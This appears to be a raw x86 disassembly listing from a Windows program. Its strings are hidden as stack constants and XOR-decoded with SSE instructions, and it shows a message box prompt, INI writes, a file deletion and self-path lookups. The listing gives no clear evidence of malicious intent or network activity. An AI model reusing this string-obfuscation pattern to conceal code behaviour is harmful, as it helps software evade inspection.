mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xac0]
movaps xmmword [ebp - 0xac0], xmm1
call fcn.00460c70
lea eax, [ebp - 0x2c18]
mov dword [ebp - 0x2c18], edi
push eax
mov ecx, 0x67e820
call fcn.004610f0
mov edi, dword [ebp - 0x2c18]
jmp 0x456183
mov dword [ebp - 0xe20], 0x33208173
lea eax, [ebp - 0xe20]
mov dword [ebp - 0xe1c], 0xafac0ad6
mov dword [ebp - 0xe18], 0xa50b0905
mov dword [ebp - 0xe14], 0xc0740d51
mov dword [ebp - 0xe10], 0x97d58527
mov dword [ebp - 0xe0c], 0x779efebd
mov dword [ebp - 0xe08], 0x9ef18ec8
mov dword [ebp - 0xe04], 0xe0d84f08
movaps xmm1, xmmword [ebp - 0xe20]
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xe20], xmm1
movaps xmm1, xmmword [ebp - 0xe10]
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xe10], xmm1
mov dword [ebp - 0xe40], 0x6001a17c
mov dword [ebp - 0xe3c], 0xa1f04582
mov dword [ebp - 0xe38], 0x8e47404e
mov dword [ebp - 0xe34], 0x9226597d
mov dword [ebp - 0xe30], 0x97e2ab15
mov dword [ebp - 0xe2c], 0x779efebd
mov dword [ebp - 0xe28], 0x9ef18ec8
mov dword [ebp - 0xe24], 0xe0d84f08
movaps xmm1, xmmword [ebp - 0xe40]
push 0x43
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x860]
push eax
movaps xmmword [ebp - 0xe40], xmm1
lea eax, [ebp - 0xe40]
movaps xmm1, xmmword [ebp - 0xe30]
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0
movaps xmmword [ebp - 0xe30], xmm1
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x4565b2
mov dword [ebp - 0x9a0], 0x6e6aca17
lea ecx, [ebp - 0x9a0]
mov dword [ebp - 0x99c], 0x8fc2658f
lea edx, [ecx + 1]
mov dword [ebp - 0x998], 0xc0676c76
mov dword [ebp - 0x994], 0xb21b7932
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x9a0]
movaps xmmword [ebp - 0x9a0], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4565a0
lea eax, [ebp - 0x9a0]
jmp 0x45674d
cmp eax, 7
jne 0x456642
mov dword [ebp - 0x930], 0x6e65ca17
lea ecx, [ebp - 0x930]
mov dword [ebp - 0x92c], 0x8fc2658f
lea edx, [ecx + 1]
mov dword [ebp - 0x928], 0xc0676c76
mov dword [ebp - 0x924], 0xb21b7932
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x930]
movaps xmmword [ebp - 0x930], xmm1
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456630
lea eax, [ebp - 0x930]
jmp 0x45674d
cmp eax, 2
jne 0x45d580
lea eax, [ebp - 0x2db8]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2dc8]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3538]
mov dword [ebp - 0x2dc8], 0x4052e425
mov dword [ebp - 0x2dc4], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2dc0], 0xc0676c76
mov dword [ebp - 0x2dbc], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2dc8]
mov dword [ebp - 0x920], 0x6e67ca17
push eax
lea eax, [ebp - 0x2dd8]
mov dword [ebp - 0x91c], 0xc8803a8f
push eax
lea ecx, [ebp - 0x3530]
mov dword [ebp - 0x2dd8], 0x6e67ca17
mov dword [ebp - 0x2dd4], 0xc8803a8f
mov dword [ebp - 0x918], 0xc067253b
mov dword [ebp - 0x914], 0xb21b7932
mov dword [ebp - 0x2dd0], 0xc067253b
mov dword [ebp - 0x2dcc], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x920]
pxor xmm1, xmmword [ebp - 0x920]
lea edx, [ecx + 1]
movaps xmmword [ebp - 0x920], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456740
lea eax, [ebp - 0x920]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x900]
call fcn.0045f900
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
cmp edi, 2
jne 0x456940
mov dword [ebp - 0x990], 0x401ca17a
lea ecx, [ebp - 0x990]
mov dword [ebp - 0x98c], 0x8fc265bf
lea edx, [ecx + 1]
mov dword [ebp - 0x988], 0xc0676c76
mov dword [ebp - 0x984], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x990]
movaps xmmword [ebp - 0x990], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4567d4
sub ecx, edx
lea eax, [ebp - 0x990]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f900
mov dword [ebp - 0xe00], 0x4033e469
lea eax, [ebp - 0x430]
mov dword [ebp - 0xdfc], 0x8fa565d1
mov dword [ebp - 0xdf8], 0xc0066c03
mov dword [ebp - 0xdf4], 0xb27e7955
mov dword [ebp - 0xdf0], 0x97d58527
mov dword [ebp - 0xdec], 0x779efebd
mov dword [ebp - 0xde8], 0x9ef18ec8
mov dword [ebp - 0xde4], 0xe0d84f08
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe00]
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
movaps xmmword [ebp - 0xe00], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xdf0]
push eax
mov dword [ebp - 0xab0], 0x403de466
lea eax, [ebp - 0xe00]
mov dword [ebp - 0xaac], 0x8fa465d1
mov dword [ebp - 0xaa8], 0xc0006c1f
mov dword [ebp - 0xaa4], 0xb21b7932
movaps xmmword [ebp - 0xdf0], xmm1
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xab0]
push 0x66fe48
push eax
movaps xmmword [ebp - 0xab0], xmm1
lea eax, [ebp - 0xab0]
jmp 0x456aee
mov dword [ebp - 0x980], 0x401cb27a
lea ecx, [ebp - 0x980]
mov dword [ebp - 0x97c], 0x8fc265bf
lea edx, [ecx + 1]
mov dword [ebp - 0x978], 0xc0676c76
mov dword [ebp - 0x974], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x980]
movaps xmmword [ebp - 0x980], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456987
sub ecx, edx
lea eax, [ebp - 0x980]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f900
mov dword [ebp - 0xe60], 0x4033e469
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe5c], 0x8fa565d1
mov dword [ebp - 0xe58], 0xc0066c03
mov dword [ebp - 0xe54], 0xb27e7955
mov dword [ebp - 0xe50], 0x97d58527
mov dword [ebp - 0xe4c], 0x779efebd
mov dword [ebp - 0xe48], 0x9ef18ec8
mov dword [ebp - 0xe44], 0xe0d84f08
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe60]
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
movaps xmmword [ebp - 0xe60], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe50]
push eax
movaps xmmword [ebp - 0xe50], xmm1
lea eax, [ebp - 0xe60]
mov dword [ebp - 0xa90], 0x403de466
mov dword [ebp - 0xa8c], 0x8fa465d1
mov dword [ebp - 0xa88], 0xc0006c1f
mov dword [ebp - 0xa84], 0xb21b7932
movaps xmm1, xmmword [ebp - 0xa90]
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x850]
push 0x66fe4c
push eax
movaps xmmword [ebp - 0xa90], xmm1
lea eax, [ebp - 0xa90]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push eax
call esi
mov eax, dword [0x680704]
shr eax, 5
test al, 1
je 0x456b92
mov dword [ebp - 0x910], 0x1804a57a
lea ecx, [ebp - 0x910]
mov dword [ebp - 0x90c], 0x8fc2658d
lea edx, [ecx + 1]
mov dword [ebp - 0x908], 0xc0676c76
mov dword [ebp - 0x904], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x910]
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0x910], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456b76
sub ecx, edx
lea eax, [ebp - 0x910]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f900
lea eax, [ebp - 0x900]
push eax
push 0
lea ecx, [ebp - 0x8e8]
call fcn.0045e8f0
sub esp, 0x18
mov dword [ebp - 0xa80], 0x2e36870a
mov dword [ebp - 0xa7c], 0xe6a50692
lea eax, [ebp - 0xa80]
mov dword [ebp - 0xa78], 0xa1151859
mov ecx, esp
mov dword [ebp - 0xa74], 0xb21b1c51
movaps xmm1, xmmword [ebp - 0xa80]
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bfc], esp
push eax
movaps xmmword [ebp - 0xa80], xmm1
call fcn.0045ebf0
mov byte [ebp - 4], 4
lea eax, [ebp - 0xa60]
sub esp, 0x18
mov dword [ebp - 0xa60], 0x6e60d214
mov dword [ebp - 0xa5c], 0xa1fb508e
mov ecx, esp
mov dword [ebp - 0xa58], 0xee525f47
mov dword [ebp - 0xa54], 0xb2294a00
movaps xmm1, xmmword [ebp - 0xa60]
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa60], xmm1
call fcn.0045ebf0
lea ecx, [ebp - 0x13e0]
mov byte [ebp - 4], 3
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 5
lea eax, [ebp - 0xb40]
mov dword [ebp - 0xb40], 0x7d11ab69
lea ecx, [ebp - 0x13e0]
mov dword [ebp - 0xb3c], 0x8fc22be9
mov dword [ebp - 0xb38], 0xc0676c76
mov dword [ebp - 0xb34], 0xb21b7932
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb40]
push 0
push eax
movaps xmmword [ebp - 0xb40], xmm1
call fcn.0045e870
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
cmp eax, 0xffffffff
je 0x456e22
mov dword [ebp - 0xb00], 0x307c8a53
lea ecx, [ebp - 0xb00]
mov dword [ebp - 0xafc], 0xe2a507ca
lea edx, [ecx + 1]
mov dword [ebp - 0xaf8], 0xa8091a58
mov dword [ebp - 0xaf4], 0xdc350153
mov dword [ebp - 0xaf0], 0xf8a2f142
mov dword [ebp - 0xaec], 0x779e95cf
mov dword [ebp - 0xae8], 0x9ef18ec8
mov dword [ebp - 0xae4], 0xe0d84f08
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb00]
movaps xmmword [ebp - 0xb00], xmm1
movaps xmm1, xmmword [ebp - 0xaf0]
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xaf0], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456e10
lea eax, [ebp - 0xb00]
jmp 0x456eb4
mov dword [ebp - 0xb20], 0x27309155
lea ecx, [ebp - 0xb20]
mov dword [ebp - 0xb1c], 0xe1b44bd2
lea edx, [ecx + 1]
mov dword [ebp - 0xb18], 0xee1f0d1e
mov dword [ebp - 0xb14], 0xc56f1c5c
mov dword [ebp - 0xb10], 0x97bef748
mov dword [ebp - 0xb0c], 0x779efebd
mov dword [ebp - 0xb08], 0x9ef18ec8
mov dword [ebp - 0xb04], 0xe0d84f08
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb20]
movaps xmmword [ebp - 0xb20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb10]
movaps xmmword [ebp - 0xb10], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456ea7
lea eax, [ebp - 0xb20]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x948]
call fcn.0045f7d0
cmp dword [ebx + 8], 1
jne 0x456ed7
mov eax, dword [ebp - 0x2bf4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0044d800
mov dword [ebp - 0xe80], 0x4020e471
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe7c], 0x8f8165c6
mov dword [ebp - 0xe78], 0xc0126c19
mov dword [ebp - 0xe74], 0xb26f795c
mov dword [ebp - 0xe70], 0x97d58527
mov dword [ebp - 0xe6c], 0x779efebd
mov dword [ebp - 0xe68], 0x9ef18ec8
mov dword [ebp - 0xe64], 0xe0d84f08
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe80]
movaps xmmword [ebp - 0xe80], xmm1
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe70]
push eax
push 0x66fe4c
movaps xmmword [ebp - 0xe70], xmm1
lea eax, [ebp - 0xe80]
mov dword [ebp - 0xb50], 0x4006e477
mov dword [ebp - 0xb4c], 0x8fc265bf
mov dword [ebp - 0xb48], 0xc0676c76
mov dword [ebp - 0xb44], 0xb21b7932
movaps xmm1, xmmword [ebp - 0xb50]
push eax
mov dword [ebp - 0x850], 0x4052e425
lea eax, [ebp - 0xb50]
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb50], xmm1
call esi
movzx eax, byte [0x6806d8]
lea edx, [ebp - 0xea0]
mov edi, dword [ebp - 0x2c00]
mov ecx, 1
mov dword [ebp - 0xe90], 0x97d5ab09
test edi, edi
mov dword [ebp - 0xe8c], 0x779efebd
mov dword [ebp - 0xe88], 0x9ef18ec8
cmovg eax, ecx
mov dword [ebp - 0xe84], 0xe0d84f08
mov ecx, 0x67e708
mov dword [ebp - 0xea0], 0x23378c66
mov dword [ebp - 0xe9c], 0xe8ac0cd4
mov dword [ebp - 0xe98], 0xa1080056
mov dword [ebp - 0xe94], 0x9c691c56
movaps xmm1, xmmword [ebp - 0xea0]
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xea0], xmm1
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe90]
mov byte [0x6806d8], al
movaps xmmword [ebp - 0xe90], xmm1
call fcn.00460c70
push eax
call fcn.00461040
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x970], 0x213d880a
mov dword [ebp - 0x96c], 0xa2b000db
mov dword [ebp - 0x968], 0xb3150900
sub esp, 0x14
mov dword [ebp - 0x964], 0xb275165b
mov esi, esp
movaps xmm1, xmmword [ebp - 0x850]
mov ecx, esi
pxor xmm1, xmmword [ebp - 0x970]
mov dword [ebp - 0x2bfc], esp
mov dword [ebp - 0x2bf4], esi
push dword [ebp - 0x2bfc]
movaps xmmword [ebp - 0x970], xmm1
call fcn.00461710
lea ecx, [ebp - 0x970]
mov byte [ebp - 4], 6
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4571c0
sub ecx, edx
lea eax, [ebp - 0x970]
push ecx
push eax
mov ecx, esi
call fcn.00461730
mov dword [ebp - 0x960], 0x27309155
sub esp, 0x18
mov dword [ebp - 0x95c], 0xe1b44bd2
mov esi, esp
mov dword [ebp - 0x958], 0xee1f0d1e
mov ecx, esi
mov dword [ebp - 0x954], 0xb2761651
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x960]
mov dword [ebp - 0x2bf4], esi
push dword [ebp - 0x2bfc]
movaps xmmword [ebp - 0x960], xmm1
call fcn.00461710
lea ecx, [ebp - 0x960]
mov byte [ebp - 4], 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x457263
sub ecx, edx
lea eax, [ebp - 0x960]
push ecx
push eax
mov ecx, esi
call fcn.00461730
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x22f8]
mov byte [ebp - 4], 5
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 9
lea eax, [ebp - 0xb60]
mov dword [ebp - 0xb60], 0x1300a173
lea ecx, [ebp - 0x22f8]
mov dword [ebp - 0xb5c], 0xb28c2af6
mov dword [ebp - 0xb58], 0xc0676c76
mov dword [ebp - 0xb54], 0xb21b7932
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb60]
push 0
push eax
movaps xmmword [ebp - 0xb60], xmm1
call fcn.0045e870
cmp eax, 0xffffffff
je 0x45d5d7
push 0
lea eax, [ebp - 0x13c8]
push eax
lea ecx, [ebp - 0x22f8]
call fcn.0045e8b0
cmp eax, 0xffffffff
jne 0x4576c0
push 0x104
lea eax, [ebp - 0x840]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x1720]
mov dword [ebp - 0x1740], 0x213d880a
push eax
lea eax, [ebp - 0x1740]
mov dword [ebp - 0x173c], 0xa1b000db
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x1738], 0xb2040213
mov dword [ebp - 0x1734], 0xd76f094b
mov dword [ebp - 0x1730], 0xfeb7ab43
mov dword [ebp - 0x172c], 0x779efed3
mov dword [ebp - 0x1728], 0x9ef18ec8
mov dword [ebp - 0x1724], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1700]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1720]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3520]
mov dword [ebp - 0x1720], 0x4052e425
mov dword [ebp - 0x171c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1718], 0xc0676c76
mov dword [ebp - 0x1714], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1710], 0x97d58527
mov dword [ebp - 0x170c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1708], 0x9ef18ec8
mov dword [ebp - 0x1704], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x16e0]
mov dword [ebp - 0xec0], 0x213d880a
push eax
lea eax, [ebp - 0x1700]
mov dword [ebp - 0xebc], 0xa1b000db
push eax
lea ecx, [ebp - 0x3518]
mov dword [ebp - 0x1700], 0x213d880a
mov dword [ebp - 0x16fc], 0xa1b000db
mov dword [ebp - 0xeb8], 0xb2040213
mov dword [ebp - 0xeb4], 0xd76f094b
mov dword [ebp - 0x16f8], 0xb2040213
mov dword [ebp - 0x16f4], 0xd76f094b
mov dword [ebp - 0xeb0], 0xfeb7ab43
mov dword [ebp - 0xeac], 0x779efed3
mov dword [ebp - 0x16f0], 0xfeb7ab43
mov dword [ebp - 0x16ec], 0x779efed3
mov dword [ebp - 0xea8], 0x9ef18ec8
mov dword [ebp - 0xea4], 0xe0d84f08
mov dword [ebp - 0x16e8], 0x9ef18ec8
mov dword [ebp - 0x16e4], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xec0]
pxor xmm1, xmmword [ebp - 0xec0]
sub esp, 0x18
movaps xmmword [ebp - 0xec0], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xeb0]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bfc], esp
push eax
movaps xmmword [ebp - 0xeb0], xmm1
call fcn.0045ebf0
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x2de8], 0x27309155
mov dword [ebp - 0x2de4], 0xe1b44bd2
mov dword [ebp - 0x2de0], 0xee1f0d1e
mov dword [ebp - 0x2ddc], 0xb2761651
lea eax, [ebp - 0x2dd8]
push eax
lea eax, [ebp - 0x2de8]
push eax
lea ecx, [ebp - 0x3510]
call fcn.0045f990
lea eax, [ebp - 0x2de8]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2df8]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3508]
mov dword [ebp - 0x2df8], 0x4052e425
mov dword [ebp - 0x2df4], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2df0], 0xc0676c76
mov dword [ebp - 0x2dec], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2df8]
mov dword [ebp - 0xb70], 0x27309155
push eax
lea eax, [ebp - 0x2e08]
mov dword [ebp - 0xb6c], 0xe1b44bd2
push eax
lea ecx, [ebp - 0x3500]
mov dword [ebp - 0x2e08], 0x27309155
mov dword [ebp - 0x2e04], 0xe1b44bd2
mov dword [ebp - 0xb68], 0xee1f0d1e
mov dword [ebp - 0xb64], 0xb2761651
mov dword [ebp - 0x2e00], 0xee1f0d1e
mov dword [ebp - 0x2dfc], 0xb2761651
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xb70]
pxor xmm1, xmmword [ebp - 0xb70]
sub esp, 0x18
mov ecx, esp
movaps xmmword [ebp - 0xb70], xmm1
push eax
call fcn.0045ebf0
mov byte [ebp - 4], 9
call fcn.0044dbb0
mov esi, eax
add esp, 0x30
test esi, esi
jne 0x45dd0f
jmp 0x45d8dc
lea ecx, [ebp - 0x22f8]
mov byte [ebp - 4], 5
call fcn.0045eaa0
mov dword [ebp - 0xbb0], 0x23378c66
lea edx, [ebp - 0xbb0]
mov dword [ebp - 0xbac], 0xe8ac0cd4
mov ecx, 0x67e708
mov dword [ebp - 0xba8], 0x8c2b2856
mov dword [ebp - 0xba4], 0xb235571c
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xbb0]
movaps xmmword [ebp - 0xbb0], xmm1
call fcn.00460c70
push eax
call fcn.00461040
movzx eax, byte [0x6806d8]
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test edi, edi
mov dword [ebp - 0xf00], 0x403de466
mov ecx, 1
mov dword [ebp - 0xefc], 0x8fb165d1
cmovg eax, ecx
mov dword [ebp - 0xef8], 0xc0156c02
mov dword [ebp - 0xef4], 0xb2787947
mov dword [ebp - 0xef0], 0x97ba8553
mov dword [ebp - 0xeec], 0x77b0fecf
mov dword [ebp - 0xee8], 0x9e9d8eac
mov dword [ebp - 0xee4], 0xe0d84f64
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xf00]
mov byte [0x6806d8], al
lea eax, [ebp - 0x228]
push 0
push eax
movaps xmmword [ebp - 0xf00], xmm1
lea eax, [ebp - 0xf00]
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xef0]
push 0x104
push eax
movaps xmmword [ebp - 0xef0], xmm1
call esi
mov dword [ebp - 0x8a0], 0x4052e425
mov dword [ebp - 0x89c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
mov dword [ebp - 0x1190], 0x403de466
mov dword [ebp - 0x118c], 0x8fb165d1
mov dword [ebp - 0x1188], 0xc0156c02
mov dword [ebp - 0x1184], 0xb2787947
mov dword [ebp - 0x1180], 0x97ba8553
mov dword [ebp - 0x117c], 0x77b0fecf
mov dword [ebp - 0x1178], 0x9e9d8eac
mov dword [ebp - 0x1174], 0xe0f64f64
mov dword [ebp - 0x1170], 0xb1c7ebb
mov dword [ebp - 0x116c], 0xb7b49370
mov dword [ebp - 0x1168], 0x7e658fa
mov dword [ebp - 0x1164], 0x4625c1be
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1190]
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
mov dword [ebp - 0x880], 0xb7d7ed9
